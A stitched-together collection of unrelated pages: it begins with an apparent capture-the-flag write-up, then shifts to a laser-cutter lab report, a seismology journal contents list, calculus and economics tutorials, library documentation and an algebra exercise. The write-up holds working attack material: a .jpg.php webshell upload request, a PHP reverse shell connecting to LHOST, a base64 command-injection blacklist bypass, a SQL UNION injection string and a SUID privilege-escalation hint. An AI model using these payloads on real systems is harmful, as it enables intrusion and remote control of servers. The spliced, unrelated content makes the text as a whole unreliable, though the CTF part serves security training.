| id | name | role | password | username |
| 100 | theadmin | admin | madeira101 | theadmin |
| 200 | ahhong | manager | manager101 | MANAGER |
| 300 | HTX{Admin_101} | vendor | vendor101 | HTX{Admin_101} |
Taking a closer look at the users, we could see that each one has a different role. Logging in as different users allows us to perform various actions. As the vendor user, we have the ability to add to the food listing.
This allows us to upload an image, and the validation for this is flawed. It seemed to be checking for the existence of the .jpg extension, but using .jpg.php passes this check and allows us to upload a PHP webshell that we can access at http://10.8.201.87/HTXIC/vendor/images/.
POST /HTXIC/vendor/doaddFoods.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTeHcGQrvcC6GYyC2
Cookie: PHPSESSID=6co2q20vqh580a4uae4gpq3grl
------WebKitFormBoundaryTeHcGQrvcC6GYyC2
Content-Disposition: form-data; name="image"; filename="pwned.jpg.php"
------WebKitFormBoundaryTeHcGQrvcC6GYyC2--
Using a PHP reverse shell payload, we were able to get a bash shell into the system.
$sock=fsockopen("LHOST", LPORT);
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
The systemctl binary had the SUID bit set, allowing us to escalate to root privileges by creating a service.
Revo Web App
Performing a directory scan reveals that there is a /cmd.php endpoint.
This seems to allow us to perform command injection, but there appears to be a blacklist filter. Fortunately, the cat cmd.php command works, allowing us to view the blacklist.
$str1 = "%44";
$data2 = append_string ($str1, $data);
$bl = array("/",";","@","\","\/\/");
$input = $_POST["cmd"];
$input = str_replace($bl, "", $input);
$bl2 = array("curl","shutdown","init","systemctl","ps","ls","etc");
$input = str_replace($bl2, "", $input);
To overcome the blacklist, we used a base64-encoded payload, which is then decoded by Python on the server.
PAYLOAD = b"cat /home/bobby/flag.txt"
encoded = base64.b64encode(PAYLOAD)
command = "python3 -c '__import__(\"os\").system((__import__(\"base64\").b64decode(\"" + encoded.decode() + "\")))'"
There is a blacklist filter for # and =. Using test' or 1-- - gives us account credentials, but logging in with these does not give us the flag.
We could use a UNION based injection to dump the database and get the flag.
username=test' or 1 UNION SELECT *, null from flag-- -&password=test' or 1 UNION SELECT *, null from flag-- -
Find the Malicious Attacks by Revo Force
We were given CSV files containing network traffic data, as well as a shapefile containing cameras in Singapore. We are tasked to find where most of the attacks are originating from, and the number of cameras within a 1.3km radius.
First, we obtain the most common src_ip, and find its corresponding latitude and longitude.
SRC_IP_COL = 9
LABEL_COL = 14
files = [x for x in os.listdir() if x.endswith('.csv')]
src_ip, label = row[SRC_IP_COL], row[LABEL_COL]
# print(src_ip, label)
if label == 'malicious':
if src_ip in results:
results[src_ip] += 1
results[src_ip] = 1
print(max(results.items(), key=lambda x: x[1]))
After, we can parse the shapefile using geopandas, and use the haversine formula to determine the great-circle distance between each camera and the src_ip location based on the latitude and longitudes.
LONG = 103.946316
shapefile = gpd.read_file("SPF_DTRLS.shp")
for row in shapefile.itertuples():
lat2, long2 = row.LATITUDE, row.LONGITUDE
a = haversine(LONG, LAT, long2, lat2)
print('Distance (km) : ', a)
if a <= RADIUS:
You are given a dataset consisting the basic information of a list of individuals (refer to DATABASE_FINAL). Some of these individuals have been identified to participate in terrorism related activities.
Using the dataset, fit a model identifying FINAL_OUTCOME =1 using all the variables (refer to variable list). Using the fitted model, apply it on the list of Grand Prix participants to screen out the top 5 individuals who are likely to participate in terrorism related activities based on the highest probabilities score (refer to GRAND_PRIX_DATA).
I initially tried to train my own model from scratch, but I realised that the fitted model coefficients were already given to us. (what was the point of the training data then?)
We could thus simply create a simple linear regression model:
y=\beta_0+\beta_1X_1+\beta_2X_2+...+\beta_nX_n
Prepare for some ugly hardcoding...
INTERCEPT = 2.4172534
def predict(row):
score = INTERCEPT
score += -0.0520673 * row.AGE
score += -0.0005561 * row.DISTANCE_FROM_CENTRAL
if row.HAIR_COLOUR == 1:
score += -1.02074
elif row.HAIR_COLOUR == 2:
score += -1.4958285
score += -0.928573
if row.LEFT_HANDED == 1:
if row.BIRTH_MONTH == 1:
score += 0.3812858
elif row.BIRTH_MONTH == 2:
if row.MARITAL == 1:
elif row.MARITAL == 2:
if row.DATABASE == 1:
What's curious though, was that the numerical variables weren't normalized. I initially normalized both the numerical variables, but only after much trial and error did I arrive at the "correct" model.
xl_file = pd.ExcelFile("/kaggle/input/htx-database/GRAND_PRIX_DATA_FINAL_Revised.xlsx")
test = xl_file.parse("Sheet 1")
results.append((predict(row), row.SERIAL_NO))
print(sorted(results, key=lambda x: x[0], reverse=True)[:5])
c0deD ME5sages
We are given the string:
%109y69&o1#01U11_6(v32%E1,&01^[email protected]$1!6n32\T1#16!R10%4i&114!c69.K_1!01~e*@d
Extracting only alphabetical characters yields yoUvEbEenTRicKed. However, between these letters are numbers that represent ASCII codes.
encoded = "%10*9y69&o1#01U11_6(v32%E1,&01^[email protected]$1!6n32\T1#16!R10*%4i&114!c69.K_1!01~e*@d"
curr_num = ''
for char in encoded:
curr_num += char
if curr_num:
result += chr(int(curr_num))
The decoded message is mEet eXit thrEe.
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4. Computer controlled cutting - Fab Academy ULB
Fab Academy ULB 4. Computer controlled cutting
This week, our group assignment was centered around understanding and using the laser cutter. In summary, we had to:
check the focus - What happens when you cut out of focus and in focus? Both recognize when focus is wrong to understand when it is worth to defocus.
check the power - Start with cardboard and do a series where you go from too little to too much power.
check the speed - Vary the cut speed and make a chart that go from low to fast.
check the rate - Play with the rate (slow down and speed up the rate) and make a chart for different materials.
measure the kerf - Compute the difference of measurements between a designed part and the cut part.
Our Lab is equipped with a Lasersaur laser cutter, which we will use for all assignments.
The focus of a laser beam is the location along the propagation direction where the beam radius has a minimum. On the Lasersaur the focus tuning is manual. We knew from our predecessors that the focus of the Lasersaur on the superior layer of the material is at 15mm far from the upper layer. Therefore we decided to test the cutting capabilities of the machine for a set of different focus. Different 3D printed slip gauges helped us to precisely locate the laser beam at 11mm, 12mm, 13mm, 14mm, 15mm and 19mm from the surface of the material. Each time the focus was manually done we ran the program to cut a square of 2x2cm. We selected a power of 70% and a speed of 1200mm/min.
We observed that for the values from 11 to 15 mm the squares were properly cut with no significant difference between each other. We concluded that the laser beam was thin enough too not have a significant influence on the final cutting result.
With the laser being 19mm far from the upper surface of the material, we observe that square was not cut: It was profoundly engraved but it was not possible to detach it. We concluded that this characteristic might be very useful to enhance engraving capabilities but although very difficult to implement on a manually tuned focus machine.
Speed and power¶
To test both the speed and laser power simultaneously, we started by designing a board containing 6x6 cells in Fusion 360:
The board size is parametric, as well as the square size. Each row will contain a specific laser power, and each column is for a different speed. The driver software of our laser cutter uses colors asa way to separate different cutting layers. Therefore, every single one of these squares needs its own setting. To make the job easier, we used rainbow colors on the squares, increasing the blue component for each row, and the green component for each column. This part was done in Inkscape:
The range of speeds and power levels we picked covers almost the entire capabilities of our machine. The speed could go up to 6000 mm/min, but this might introduce shaking artifacts so we limited the speed to 2300 mm/min.
We first use our board on a 0.1mm paper sheet:
As expected, for such a thin material, we should only use low power and high speed. On the back, we can see that the only square that is not pierced is the highest speed combined with the lowest power:
Next we tried with a sheet of 3mm plywood. The results are drastically different:
An interesting observation is the almost linear separation between the fully cut area, and the engraved area. This is a confirmation of the good linearity of the system: doubling the speed and decreasing the power by the same factor should be equivalent in terms of energy deposited per length unit. This can be explained with the following equation:
E_x = \frac{P_{\rm laser}}{v}
Where E_x
is the energy per length unit, v
the moving speed and P_{\rm laser}
P_{\rm laser}
the laser power. As for the paper, the back of the board reveals some issues at high power.
Kerf¶
The distance between the part that is cut and the residual material is named the kerf. To measure it precisely we drew ten 1x1cm squares with SolidWorks. To measure the joint fit we also draw two comb-shapes whose slots are parametric. Their initial value starts at the middle of the comb with the thickness of the MDF sheet. This value increases by step of 0.05mm when going up and decreases of the same quantity while going down.
With Inkscape we added the text and prepared the file for printing. A red contour is applied on the text to enable a customization of the passes in the user-machine interface of the Lasersaur.
Then we used the DriverboardApp (the Lasersaur user-machine interface) to tune the power and speed of the laser with respect to the color of the drawing lines. For engraving the text (in red), we selected the color red in the right lateral bar and set the power on 10% and the speed on 1200mm/min for the first pass. As the black lines must be cut, we set the power to 70% and the same speed for pass 2. It is recommended to always make engraving first to avoid that the part moves during the engraving.
Afterwards we measured the ten squares together with a calliper and obtained a value of 98.28mm. The difference between this value and the expected measure (100mm) is equal to 1.72mm. To obtain the kerf, this value must divided by the number of squares (10). Therefore the kerf is 0.172mm.
Finally we plugged together both comb shapes. The best fit happened for a joint clearance of -0.10mm. This value will be very useful to design joints later.
Calibration board (.svg)
Calibration board (Lasersaur .dba)
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February - Volume 112, Number 1 April - Volume 112, Number 2 June - Volume 112, Number 3
Why Differential Data Work
William Menke; Roger Creel
A Perfectly Matched Layer Technique Applied to Lattice Spring Model in Seismic Wavefield Forward Modeling for Poisson’s Solids
Jinxuan Tang; Hui Zhou; Chuntao Jiang; Muming Xia; Hanming Chen; Jinxin Zheng
Rayleigh‐Wave Dispersion Curves from Energetic Hurricanes in the Southeastern United States
Xuping Feng; Xiaofei Chen
Steven M. Plescia; Anne F. Sheehan; Seth S. Haines
Robert E. Anthony; Adam T. Ringler; David C. Wilson
Heyi Liu; Shanyou Li; Jindong Song
The Role of Frontal Thrusts in Tsunami Earthquake Generation
Raquel P. Felix; Judith A. Hubbard; James D. P. Moore; Adam D. Switzer
Stress Interactions between an Interplate Thrust Earthquake and an Intraplate Strike‐Slip Event: A Case Study of 2018
Mw
7.9 Gulf of Alaska Earthquake
Luyuan Huang; Tao Tao; Rui Gao; Yaolin Shi
Testing the Synchronicity of Splay‐Fault Ruptures in Carson Valley, Nevada, United States
Ian K. D. Pierce; Steven G. Wesnousky; Sourav Saha; Seulgi Moon
Seismic Source Processes of 25 Earthquakes (
Mw>5
) in the Gulf of California
Eduardo Huesca‐Pérez; Edahí Gutierrez‐Reyes; Luis Quintanar
Postseismic Relaxation Following the 2019 Ridgecrest, California, Earthquake Sequence
Fred F. Pollitz; Charles W. Wicks; Jerry L. Svarc; Eleyne Phillips; Benjamin A. Brooks; Mark H. Murray; Ryan C. Turner
Ayako Tsuchiyama; Taka’aki Taira; Junichi Nakajima; Roland Bürgmann
Bruce E. Shaw; Bill Fry; Andrew Nicol; Andrew Howell; Matthew Gerstenberger
Jessica R. Murray; Eric M. Thompson; Annemarie S. Baltay; Sarah E. Minson
Elizabeth S. Cochran; Jessie K. Saunders; Sarah E. Minson; Julian Bunn; Annemarie Baltay; Debi Kilb; Colin O’Rourke; Mitsuyuki Hoshiba; Yuki Kodera
S. Farid Ghahari; Annemarie Baltay; Mehmet Çelebi; Grace A. Parker; Jeffrey J. McGuire; Ertugrul Taciroglu
Hussein Shible; Fabrice Hollender; Dino Bindi; Paola Traversa; Adrien Oth; Benjamin Edwards; Peter Klin; Hiroshi Kawase; Ioannis Grendas; Raul R. Castro; Nikolaos Theodoulidis; Philippe Gueguen
Tom Eulenfeld; Torsten Dahm; Sebastian Heimann; Ulrich Wegler
Jingbao Zhu; Shanyou Li; Qiang Ma; Bin He; Jindong Song
Recalibration of the Local Magnitude (
ML
) Scale for Earthquakes in the Yellowstone Volcanic Region
James Holt; James C. Pechmann; Keith D. Koper
Three‐Dimensional Seismic‐Wave Propagation Simulations in the Southern Korean Peninsula Using Pseudodynamic Rupture Models
Jaeseok Lee; Jung‐Hun Song; Seongryong Kim; Junkee Rhie; Seok Goo Song
A Stochastic Model for Simulating Vertical Pulseless Near‐Fault Seismic Ground Motions
Xi Zhong Cui; Yong Xu Liu; Han Ping Hong
Empirical Correlations of Spectral Input Energy with Peak Amplitude, Cumulative, and Duration Intensity Measures
Yin Cheng; Tongtong Liu; Jianfeng Wang; Chao‐Lie Ning
Francesca Mancini; Sebastiano D’Amico; Giovanna Vessia
Bulletin of the Seismological Society of America December 28, 2021, Vol.112, 992-1007. doi:https://doi.org/10.1785/0120210074
Correspondence between Site Amplification and Topographical, Geological Parameters: Collation of Data from Swiss and Japanese Stations, and Neural Networks‐Based Prediction of Local Respo...
Paolo Bergamo; Conny Hammer; Donat Fäh
Seismic Response of 2D Topographic Profiles for Incident SH Waves: Iterative Solution and Comparison of Direct and Indirect BEM
Jimena Mejía‐López; Oscar I. López‐Sugahara; José Piña‐Flores; Francisco J. Sánchez‐Sesma; Zengxi Ge; Jia Wei; Mianshui Rong; Zhenning Ba
A Far‐Field Ground‐Motion Model for the North Australian Craton from Plate‐Margin Earthquakes
Bulletin of the Seismological Society of America December 14, 2021, Vol.112, 1041-1059. doi:https://doi.org/10.1785/0120210191
Davis T. Engler; C. Bruce Worden; Eric M. Thompson; Kishor S. Jaiswal
Bulletin of the Seismological Society of America January 11, 2022, Vol.112, 1060-1079. doi:https://doi.org/10.1785/0120210177
Hidenori Mogi; Hideji Kawakami
Postseismic Survey of a Historic Masonry Tower and Monitoring of Its Dynamic Behavior in the Aftermath of Le Teil Earthquake (Ardèche, France)
Andy Combey; Diego E. Mercerat; Philippe Gueguen; Mickaël Langlais; Laurence Audin
Megan Torpey Zimmerman; Bingming Shen‐Tu; Khosrow Shabestari; Mehrdad Mahdyiar
Probabilistic Seismic Hazard Analysis Based on Arias Intensity in the North–South Seismic Belt of China
Xuejing Li; Weijin Xu; Mengtan Gao
Synthesis of Recent Paleoseismic Research on Quaternary Faulting in the Eastern Tennessee Seismic Zone, Eastern North America: Implications for Seismic Hazard and Intraplate Seismicity
Randel Tom Cox; Robert D. Hatcher; Steven L. Forman; Ronald Counts; James Vaughn; Eric Gamble; Jacob Glasbrenner; Kathleen Warrell; Narayan Adhikari; Sean Pinardi
Erratum to Unexpected Consequences of Transverse Isotropy
Bulletin of the Seismological Society of America February 15, 2022, Vol.112, 1190. doi:https://doi.org/10.1785/0120210328
Medieval Gate Tower of Viviers overlooking the old town (Ardéche, France).
Image credit: Andy Combey; Creative Commons Attribution (CC BY-SA 3.0)
Mw
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Understanding the Fundamental Theorem of Calculus | Outlier
Understanding the Fundamental Theorem of Calculus
In this article, we’ll discuss the meaning of the Fundamental Theorem of Calculus. Then, we’ll break down the First Fundamental Theorem of Calculus and the Second Fundamental Theorem of Calculus. Finally, we’ll practice with some examples.
What Is the First Fundamental Theorem of Calculus?
What Is the Second Fundamental Theorem of Calculus?
6 Example Exercises of Fundamental Theorem of Calculus
The Fundamental Theorem of Calculus helps to define the relationship between integration and differentiation.
The theorem has two parts:
The First Fundamental Theorem of Calculus reveals that integration is the inverse process of differentiation, while the Second Fundamental Theorem of Calculus illuminates the relationship between the integral and the antiderivative function. You might also hear this theorem referred to as the “FTC.”
In this lesson clip, Dr. Hannah Fry shares what this theorem actually means, how it’s calculated, and what it can further allow us to do.
Integration and differentiation were initially developed separately because we did not suspect that they were related. The Fundamental Theorem of Calculus became the connective tissue that linked these essential operations.
The Fundamental Theorem of Calculus was first articulated in 1668 by Scottish mathematician James Gregory. In the later 17th century, English mathematicians Isaac Barrow and Isaac Newton and German mathematician Gottfried Wilhelm Leibniz separately developed the Fundamental Theorem of Calculus. In 1823, French mathematician Austin-Louis Cauchy rigorously proved the theorem.
The First Fundamental Theorem of Calculus shows that integration and differentiation are inverse operations. We also refer to it as the Fundamental Theorem of Differential Calculus.
f
be a continuous function on the interval
[a, b]
F(x)
F(x) = \int_a^x f(t)\,dt
F
[a, b]
(a, b)
F’(x) = f(x)
(a, b)
The First Fundamental Theorem of Calculus formula explains why
F(x)
is called the antiderivative function of
[a, b]
. Taking the derivative of
F(x)= \int_a^x f(t)\,dt
gives back the original function
f(x)
. To better understand the relationship between a function
f
and its antiderivative, it can be helpful to ask yourself, “What function
F(x)
gives back
f(x)
when differentiated?”
Dr. Tim Chartier explains more about antiderivatives in this lecture clip:
We can rewrite the theorem using Leibniz’s notation like this:
F'(x) = \frac{d}{dx} \int_a^x f(t)\,dt = f(x)
This theorem guarantees that any continuous function has an antiderivative function.
Let’s consider two different examples. Consider the function
F(x) = \int_3^x (6t^4 + \sin{(t)} \, dt
. Suppose we want to find
F(x)
6t^4 + \sin{(t)}
is continuous. Then, by the First Fundamental Theorem of Calculus, we have:
F'(x) = \frac{d}{dx} \int_a^x f(t)\,dt = f(x)
F’(x) = \frac{d}{dx} \int_3^x (6t^4 + \sin{(t)}) \, dt = 6x^4 + \sin{(x)}
Many problems will require you to use the First Fundamental Theorem of Calculus with the Chain Rule for derivatives. The Chain Rule states that
\frac{d}{dx}f(g(x)) = f’(g(x))g’(x)
\frac{d}{dx} \int_a^x f(t)\,dt = f(x)
by the First Fundamental Theorem of Calculus, this means that
\frac{d}{dx} \int_a^{g(x)} f(t)\,dt = f(g(x))g’(x)
F(x) = \int_0^{\tan{(x)}} e^t \, dt
. Notice that the upper bound of the integral is
\tan{(x)}
x
F’(x)
. Then, by the First Fundamental Theorem of Calculus and the tangent function trigonometry rule for derivatives, we have:
F’(x) = \frac{d}{dx} \int_0^{\tan{(x)}} e^t \, dt
F’(x) = e^{\tan{(x)}} \cdot \frac{d}{dx}\tan{(x)}
F’(x) = e^{\tan{(x)}} \cdot \sec ^2 (x)
The Second Fundamental Theorem of Calculus clarifies the relationship between the integral and the antiderivative function. It is also referred to as the Fundamental Theorem of Integral Calculus.
f
[a, b]
F
be the antiderivative of
\int_{a}^{b} f(x)\,dx = F(x)\Big|_a^b = F(b) - F(a)
The above statement means that we can evaluate the definite integral of a function on
[a, b]
by taking the difference between the indefinite integral of the function evaluated at
and the indefinite integral of the function evaluated at
b
. This gives us the area bounded by the curve of
, the x-axis, and the lines
x = a
x = b
The Second Fundamental Theorem of Calculus allows us to calculate definite integrals without Riemann sums.
If you need a review of indefinite integrals using the fundamental theorem as well as the basic rules of integration, Dr. Hannah Fry explains all this in the following lesson clip below:
4 Steps for Evaluating Definite Integrals
Here are four steps to evaluating definite integrals using the Second Fundamental Theorem of Calculus:
Determine the indefinite integral
F(x)
using rules of integration.
F(b)
b
F(x)
F(a)
a
F(x)
Take the difference
F(b) - F(a)
Now, let’s look at some examples of how to use the Fundamental Theorem of Calculus.
k(x) = \int_2^x (5^t+7) \, dt
k’(x)
5^t+7
f(t) = 5^t+7
. Then, by the First Fundamental Theorem of Calculus, we know that
F'(x) = \frac{d}{dx} \int_a^x f(t)\,dt = f(x)
k’(x) = \frac{d}{dx} \int_2^x (5^t+7)\,dt = 5^x + 7
k’(x) = 5^x + 7
F(x) = \int_1^{x^2} \sin{(t)}\, dt
F’(x)
In this problem, we’ll need to combine the First Fundamental Theorem of Calculus and the Chain Rule for derivatives. Then, using the power rule for derivatives, we have:
F’(x) = \frac{d}{dx} \int_1^{x^2}\sin{(t)}\, dt
F’(x) = \sin{(x^2)} \cdot \frac{d}{dx}(x^2)
F’(x) = 2x\sin{(x^2)}
F’(x) = 2x\sin{(x^2)}
F(x) = \int_1^{\sqrt{x}} e^t \, dt
F’(x)
F’(x) = \frac{d}{dx} \int_1^{\sqrt{x}} e^t \, dt
F’(x) = e^{\sqrt{x}} \cdot \frac{d}{dx} \sqrt{x}
F’(x) = e^{\sqrt{x}} \cdot \frac{d}{dx} x^{1}{2}
F’(x) = e^{\sqrt{x}} \cdot \frac{1}{2}x^{\frac{-1}{2}}
F’(x) = \frac{e^{\sqrt{x}}}{2\sqrt{x}}
F’(x) = \frac{e^{\sqrt{x}}}{2\sqrt{x}}
\int_1^2 (3x^2+2) \, dx
For this problem, we can use the Second Fundamental Theorem of Calculus. First, we must find the antiderivative function
F(x)
. Using the power rule for integrals, we have:
F(x) = \int (3x^2 + 2) \, dx = \frac{3x^3}{3} + 2x = x^3 + 2x
Now, we can evaluate
F(x)
x = 1
x = 2
and take their difference to find
\int_1^2 (3x^2+2) \, dx
\int_1^2 (3x^2+2) \, dx = x^3 + 2x \Big|_1^2
= (8+4) - (1+2)
= 12 - 3
=9
\int_1^2 (3x^2+2) \, dx = 9
\int_1^3 \frac{dx}{x}
F(x)
. Using the reciprocal rule for integrals, we have:
F(x) = \int \frac{dx}{x} = \ln|x|
F(x)
x = 1
x = 3
\int_1^3 \frac{dx}{x}
\int_1^3 \frac{dx}{x} = \ln|x| \Big|_1^3
= \ln3 - \ln1
\approx 1.099 - 0
\approx 1.099
\int_1^3 \frac{dx}{x} \approx 1.099
\int_0^{\frac{3\pi}{2}} \sin{(x)} \, dx
F(x)
. Using the sine function trigonometry rule for integrals, we have:
F(x) = \int \sin{(x)} \, dx = -\cos{(x)}
F(x)
x = 0
x = \frac{3\pi}{2}
\int_0^{\frac{3\pi}{2}} \sin{(x)} \, dx
\int_0^{\frac{3\pi}{2}} \sin{(x)} \, dx = -\cos{(x)} \Big|_0^{ \frac{3\pi}{2}}
= -\cos{( \frac{3\pi}{2})} - (-\cos{(0)})
= 0 - (-1)
=1
\int_0^{\frac{3\pi}{2}} \sin{(x)} \, dx = 1
Calculating p-Value in Hypothesis Testing
In this article, we'll take a deep dive on p-values, beginning with a description and definition of this key component of statistical hypothesis testing, before moving on to look at how to calculate it for different types of variables.
The Power Rule is one of the fundamental derivative rules in the field of Calculus. In this article, we'll first discuss its definition and how to use it, and then take a deeper dive by looking at its application to a number of specific functions.
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Cross Price Elasticity Of Demand: Definition & Examples | Outlier
Cross Price Elasticity Of Demand: Definition & Examples
Here’s an overview of cross price elasticity of demand, its definition, how it works, the difference with income elasticity of demand, and more.
What Is the Cross Price Elasticity of Demand Formula?
Understanding Types of Cross Elasticity of Demand
Understanding the Magnitude of Cross Price Elasticity
Cross Price Elasticity Versus Other Types of Elasticity
Cross Price Elasticity of Demand Examples
Ever wonder how a change in the price of Coca-Cola affects demand for Pepsi? Or how a price rise of Smucker’s jelly affects demand for Skippy’s peanut butter? Cross price elasticity of demand helps you answer such questions.
Cross price elasticity of demand (XED) is a measure of how demand for one good changes in response to a change in the price of another good. The other good might be a related good such as a substitute—a good that consumers buy in place of another good—or a complement (a good that’s consumed together with another good). It could also be a completely unrelated good, in which case, the cross-price elasticity will be zero.
To measure the cross price elasticity of demand, divide the percentage change in quantity demanded for one good by the percentage change in the price of a second good.
Cross price elasticity of demand equals:
\frac{\text{Percentage Change in Quantity Demanded of Good A}}{\text{Percentage Change in the Price of Good B}}
= \frac{\frac{\Delta Q_{A}}{Q_{A}}}{\frac{\Delta P_{B}}{P_{B}}}
Q_{A}
is the change in the quantity demanded of Good A. To find the change subtract, the initial quantity demanded from the new quantity demanded.
Q_{A}
is the initial quantity demanded for Good A.
P_{B}
is the change in price of Good B. You can find this change by subtracting the initial price from the new price.
P_{B}
is the initial price of Good B.
As an example, say you want to know how a change in the price of hot dogs affects demand for hot dog buns. You observe that when the price of hot dogs increases from $6.50 to $7.02, the sale of hot dog buns falls from 1000 units to 910 units. Using the formula above, you can calculate the cross price elasticity as:
\text{XED}= \frac{\frac{\Delta Q_{A}}{Q_{A}}}{\frac{\Delta P_{B}}{P_{B}}}=\frac{910-1000}{1000}\div \frac{7.02-6.50}{6.50}=\frac{-0.09}{0.08}=-1.125
This cross price elasticity of demand tells us that an 8% price increase for hot dogs is associated with a 9% decrease in demand for hot dog buns. The fact that the cross price elasticity is greater than 1 in absolute terms tells you that the percent change in the quantity demanded is larger than the percent change in the price of hot dogs.
Cross price elasticity of demand can be negative, positive, or zero.
The cross price elasticity of demand will be negative when two goods are complements.
Complementary products are goods that are consumed together. If the price of one good goes down, demand for its complement will increase and vice versa. The quantity change in one good and the price change in the second good will always move in opposite directions for complements. This is what makes the cross price elasticity negative.
As an example, think of peanut butter and jelly. Because these goods are frequently consumed together, if the price of jelly falls, consumer demand for peanut butter will increase. If the price of jelly goes up, consumer demand for peanut butter will decrease.
Cross price elasticity of demand will be positive when two goods are substitutes.
Substitute goods are goods that can be used to satisfy the same demand. If the price of a good goes down, demand for its substitute will decrease and vice versa. In this way, the quantity change and the price change will always move in the same direction for substitutes. This is what makes the cross price elasticity positive.
As an example, think of Pepsi and Coca-cola. If you assume the two brands of soda are substitutes, if the price of Coke falls, consumer demand for Pepsi will fall because more consumers will choose to buy Coke over Pepsi. If the price of Coke increases, demand for Pepsi will increase as consumers shift away from Coke and start buying more Pepsi.
When Cross Price Elasticity of Demand Is Zero
Cross price elasticity of demand will be zero when two goods are unrelated.
When two goods are unrelated, the price of one good should have no effect on demand for the other. This is why the cross price elasticity of two unrelated goods will be zero.
Elasticities can take on any value.
When the cross price elasticity coefficient is less than -1 or greater than 1, the cross price elasticity is elastic. In the case of two substitutes, this means that the two goods are strong substitutes where one good can easily replace the other. In the case of complements, this means the two goods are strong complements that are frequently purchased together.
When cross price elasticity is between -1 and 0 for complementary goods and between 0 and 1 for substitute goods, the cross price elasticity is inelastic. This indicates that the two goods are either weak complements or weak substitutes.
The figure below summarizes what you need to know to interpret the cross price elasticity of demand. Remember, when the cross price elasticity is positive the two goods are substitutes. When the value is negative, the two goods are complements, and when the value is zero, the two goods are unrelated.
In general, elasticity measures the responsiveness of one thing to a change in another.
Cross price elasticity of demand is just one type of elasticity you’ll learn about in economics.
Other types of elasticity you might come across in your economics courses are:
Price Elasticity of Demand - This measures how the quantity demanded of a good changes in response to a change in its price. Unlike cross price elasticity, price elasticity of demand relates quantity demanded for a good to its own price rather than the price of another good.
Price Elasticity of Supply - This measures how the quantity supplied for a product changes in response to a change in its price.
Income Elasticity of Demand - This measures how quantity demanded for a good changes in response to changes in the income of consumers who buy the good.
TYPE OF ELASTICITY RESPONDS TO CHANGE IN: MEASURES:
Cross price elasticity of demand Price of another good How demand for one good changes
Price elasticity of demand Price of product demanded How quantity demanded for a good changed
Price elasticity of supply Price of product supplied How quantity supplied for a good changed
Income elasticity of demand Income of consumers who buy the good How quantity demanded for a good changed
Check your understanding of cross price elasticity by answering these three questions.
The price of Colgate toothpaste falls from $4.50 to $4.32. As a result, sales of Aquafresh toothpaste decrease from 20,000 units to 19,000 units. Without doing the calculation, do you expect the cross price elasticity of demand for Aquafresh to be positive or negative?
Calculate the cross price elasticity of demand for Aquafresh toothpaste using the information from Question 1.
If honey and tea are weak complements, the cross price elasticity of demand for honey with respect to changes in the price of tea should be:
a) Less than -1
b) Between -1 and 0
A positive cross elasticity of demand should be the result, since Aquafresh and Colgate toothpaste are substitutes.
\frac{-1000}{20,000} \div \frac{-0.18}{4.50}= \frac{-0.05}{-0.04}= 1.25
B. Two goods that are weak complements should have cross price elasticity of demand that is between -1 and 0.
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vectorspace_dimensionality: compute the number of dimensions that a set of vectors spans - mlxtend
Example 1 - Compute the dimensions of a vectorspace
A function to compute the number of dimensions a set of vectors (arranged as columns in a matrix) spans.
from mlxtend.math import vectorspace_dimensionality
Given a set of vectors, arranged as columns in a matrix, the vectorspace_dimensionality computes the number of dimensions (i.e., hyper-volume) that the vectorspace spans using the Gram-Schmidt process [1]. In particular, since the Gram-Schmidt process yields vectors that are zero or normalized to 1 (i.e., an orthonormal vectorset if the input was a set of linearly independent vectors), the sum of the vector norms corresponds to the number of dimensions of a vectorset.
Let's assume we have the two basis vectors
x=[1 \;\;\; 0]^T
y=[0\;\;\; 1]^T
as columns in a matrix. Due to the linear independence of the two vectors, the space that they span is naturally a plane (2D space):
vectorspace_dimensionality(a)
However, if one vector is a linear combination of the other, it's intuitive to see that the space the vectorset describes is merely a line, aka a 1D space:
If 3 vectors are all linearly independent of each other, the dimensionality of the vector space is a volume (i.e., a 3D space):
d = np.array([[1, 9, 1],
vectorspace_dimensionality(d)
Again, if a pair of vectors is linearly dependent (here: the 1st and the 2nd row), this reduces the dimensionality by 1:
c = np.array([[1, 2, 1],
[5, 10, 3]])
vectorspace_dimensionality(c)
vectorspace_dimensionality(ary)
Computes the hyper-volume spanned by a vector set
An integer indicating the "dimensionality" hyper-volume spanned by the vector set
For usage examples, please see http://rasbt.github.io/mlxtend/user_guide/math/vectorspace_dimensionality/
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Write and solve an equation for the situation below. Define any variables and write your solution as a sentence.
Jennifer has a total of four and a half hours to spend on the beach swimming and playing volleyball. The time she spends playing volleyball will be twice the amount of time she spends swimming. How long will she do each activity?
Write an equation in which
x
represents the time spent swimming and
2x
represents the time spent playing volleyball.
x+2x=4.5
Solve for the time spent swimming,
x
, then double that number to find the time spent playing volleyball.
3x=4.5
x=1.5
1.5
hours spent swimming and
3
hours spent playing volleyball.
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Compute estimate of autoregressive (AR) model parameters using Burg method - Simulink - MathWorks France
Burg AR Estimator
Compute estimate of autoregressive (AR) model parameters using Burg method
The Burg AR Estimator block uses the Burg method to fit an autoregressive (AR) model to the input data by minimizing (least squares) the forward and backward prediction errors while constraining the AR parameters to satisfy the Levinson-Durbin recursion.
H\left(z\right)=\frac{G}{A\left(z\right)}=\frac{G}{1+a\left(2\right){z}^{-1}+\dots +a\left(p+1\right){z}^{-p}}
When you select the Inherit estimation order from input dimensions parameter, the order, p, of the all-pole model is one less than the length of the input vector. Otherwise, the order is the value specified by the Estimation order parameter.
The Output(s) parameter allows you to select between two realizations of the AR process:
A — The top output, A, is a column vector of length p+1 with the same frame status as the input, and contains the normalized estimate of the AR model polynomial coefficients in descending powers of z.
K — The top output, K, is a column vector of length p with the same frame status as the input, and contains the reflection coefficients (which are a secondary result of the Levinson recursion).
A and K — The block outputs both realizations.
The following table compares the features of the Burg AR Estimator block to the Covariance AR Estimator, Modified Covariance AR Estimator, and Yule-Walker AR Estimator blocks.
Yule-Walker AR Estimator
The realization to output, model coefficients, reflection coefficients, or both.
When selected, sets the estimation order p to one less than the length of the input vector.
The order of the AR model, p. This parameter is enabled when you do not select Inherit estimation order from input dimensions.
arburg Signal Processing Toolbox
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create_counterfactual: Interpreting models via counterfactuals - mlxtend
Example 1 -- Simple Iris Example
Example 2 -- Simple Iris Example with Decision Regions and Threshold Stopping Criterion
An implementation of the counterfactual method by Wachter et al. 2017 for model interpretability.
Counterfactuals are instances that explain scenarios related to implication: "if not x, then not y" in a hypothetical context. For example, "if I hadn't studied hard, my grade would be worse."
